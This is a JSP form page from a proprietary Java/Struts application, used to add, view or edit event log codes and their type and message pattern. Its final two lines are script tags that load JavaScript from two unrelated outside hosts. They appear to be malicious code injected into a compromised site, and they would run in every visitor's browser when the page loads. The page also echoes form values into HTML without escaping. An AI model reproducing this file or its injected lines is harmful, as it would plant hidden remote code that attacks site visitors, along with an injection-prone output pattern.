<%
/*
 * @(#)EditEventCode.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditEventCode.jsp

  This class is reflecting business logic uses.

    @author           anson mo
    @company          DCIVision Limited
    @creation date    07/09/2005
    @version          $Revision: 1.5.2.5 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintEventCodeForm" scope="request" class="com.dcivision.framework.web.MaintEventCodeForm"/>

<%
  String opMode = (String) maintEventCodeForm.getOpMode();
  String navMode = (String) maintEventCodeForm.getNavMode();
%>
<script language="javaScript">
<!--
function custOpSave(frm) {
//  if (!custValidate()) {
//    return(false);
//  }
  return OpSave();
}

function custOpSaveAndNew(frm) {
//  if (!custValidate()) {
//    return(false);
//  }
  return OpSaveAndNew();
}
-->
</script>
<html:form action="log/MaintEventCode">
<html:javascript formName="maintEventCodeForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<!-- Page Title Section -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/>[<bean:message key='log.columnheader.event_event_code'/>]</font>
  <layout:returnButton>
  ListEventCode.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
  </layout:returnButton>
</layout:titleFormat>
<table cellpadding="20" cellspacing="0" border="0" width="100%">
  <tr>
    <td>
      <table width="700" cellpadding="0" cellspacing="2" border="0" align="left">
        <layout:sectionHeader name="log.columnheader.event_event_code"/>
        <tr>
          <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key="log.columnheader.event_msg_code"/>:&nbsp;</td>
          <td class="dataField" width="630">
            <%if(!GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)){%>
              <html:text property="msgCode" size='40' maxlength="255"/>
            <%} else{%>
              <input type="hidden" name="msgCode" value="<%=maintEventCodeForm.getMsgCode()%>">
              <%=maintEventCodeForm.getMsgCode()%>
            <%}%>
          </td>
        </tr>
        <tr>
          <td class="<layout:classLabel mandatory='true'/>" width="150" valign="top"><bean:message key="log.columnheader.event_event_code"/>:&nbsp;</td>
          <td class="dataField" width="630"><!--<html:text property="messageCode" size='40' maxlength="255"/>-->
            <%if(!GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)){%>
              <html:text property="messageCode" size='40' maxlength="255"/>
            <%} else{%>
              <input type="hidden" name="messageCode" value="<%=maintEventCodeForm.getMessageCode()%>">
              <%=maintEventCodeForm.getMessageCode()%>
            <%}%>
          </td>
        </tr>
        <tr>
          <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
        </tr>
        <tr>
          <td class="<layout:classLabel/>" width="150" valign="top"><bean:message key="log.columnheader.event_type"/>:&nbsp;</td>
          <td class="dataField" width="630"><!--<html:text property="eventType" size='40' maxlength="255"/>-->
            <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
              <select name="eventType">
                <option value="<%=EventLogger.EVENT_TYPE_INFO%>" <%if(EventLogger.EVENT_TYPE_INFO.equals(maintEventCodeForm.getEventType())){%>selected<%}%>><bean:message key='log.label.info'/>
                </optioin>
                <option value="<%=EventLogger.EVENT_TYPE_WARNING%>" <%if(EventLogger.EVENT_TYPE_WARNING.equals(maintEventCodeForm.getEventType())){%>selected<%}%>><bean:message key='log.label.warning'/>
                </optioin>
                <option value="<%=EventLogger.EVENT_TYPE_ERROE%>" <%if(EventLogger.EVENT_TYPE_ERROE.equals(maintEventCodeForm.getEventType())){%>selected<%}%>><bean:message key='log.label.error'/>
                </optioin>
              </select>
            <%} else {%>
              <%if(EventLogger.EVENT_TYPE_INFO.equals(maintEventCodeForm.getEventType())){%>
              <bean:message key="log.label.info"/>
              <%}%>
              <%if(EventLogger.EVENT_TYPE_WARNING.equals(maintEventCodeForm.getEventType())){%>
              <bean:message key="log.label.warning"/>
              <%}%>
              <%if(EventLogger.EVENT_TYPE_ERROE.equals(maintEventCodeForm.getEventType())){%>
              <bean:message key="log.label.error"/>
              <%}%>
              <!--<%=maintEventCodeForm.getEventType()%>-->
            <%}%>
          </td>
        </tr>
        <tr>
          <td class="<layout:classLabel/>" width="150" valign="top"><bean:message key="log.columnheader.event_message_pattern"/>:&nbsp;</td>
          <td class="dataField" width="630"><html:text property="messagePattern" size='40' maxlength="255"/></td>
        </tr>
        <tr>
          <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
        </tr>
        <tr>
          <td colspan="2" align="center">
            <!-- The Buttons for Actions Handling -->
            <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
            <html:standardButton onClick="return custOpSave();" label="common.label.save"/>
            <html:standardButton onClick="return custOpSaveAndNew();" label="common.label.more"/>
            <%} else if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
            <html:permissionButton label="common.label.edit" right="E" link="MaintEventCode.do?navMode=E&ID=${maintEventCodeForm.ID}"/>
            <%}%>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>